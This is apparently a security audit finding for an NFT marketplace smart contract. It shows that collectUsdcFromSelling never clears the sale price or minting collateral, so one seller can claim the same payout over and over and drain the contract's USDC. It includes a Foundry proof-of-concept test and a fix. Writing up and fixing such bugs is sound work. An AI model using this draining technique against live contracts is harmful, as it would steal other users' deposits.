Root + Impact
collectUsdcFromSelling() pays listing.price - fees + collateralForMinting[tokenId] to the seller after a sale, but it never marks the proceeds as claimed. Because neither listing.price nor collateralForMinting[tokenId] is cleared, the same seller can call the function repeatedly after one successful sale and keep receiving the same payout. Additionally, the fee transfer usdc.safeTransfer(address(this), fees) sends fees to the contract itself — a no-op that inflates totalFeesCollected without reducing the contract's spendable balance.
Vulnerability Details
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
The function reads listing.price and collateralForMinting[tokenId] but never zeroes them. The onlySeller check passes on every subsequent call because the listing record is not modified. The !listing.isActive guard also remains satisfied forever once the sale completes. There is no claimed/withdrawn flag anywhere.
Impact
A seller can drain the entire USDC balance of the contract by calling collectUsdcFromSelling in a loop after a single sale. Other users' collateral deposits and sale proceeds are permanently at risk.
Proof of Concept
function testCollectUsdcFromSellingCanBeCalledTwice() public {
vm.startPrank(owner);
nftDealers.revealCollection();
nftDealers.whitelistWallet(alice);
nftDealers.whitelistWallet(bob);
vm.stopPrank();
vm.startPrank(alice);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.mintNft();
nftDealers.list(1, uint32(100e6));
vm.stopPrank();
vm.startPrank(bob);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.buy(1);
vm.stopPrank();
usdc.mint(address(nftDealers), 2_000e6);
vm.startPrank(alice);
uint256 before1 = usdc.balanceOf(alice);
nftDealers.collectUsdcFromSelling(1);
uint256 payout1 = usdc.balanceOf(alice) - before1;
uint256 before2 = usdc.balanceOf(alice);
nftDealers.collectUsdcFromSelling(1);
uint256 payout2 = usdc.balanceOf(alice) - before2;
vm.stopPrank();
assertGt(payout1, 0);
assertEq(payout2, payout1);
}
Recommended Mitigation
Clear collateralForMinting[tokenId] and mark the listing as paid before executing the transfer:
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(!s_listings[_listingId].isClaimed, "Already claimed");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ s_listings[_listingId].isClaimed = true;
+ collateralForMinting[listing.tokenId] = 0;
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
+ usdc.safeTransfer(feeRecipient, fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
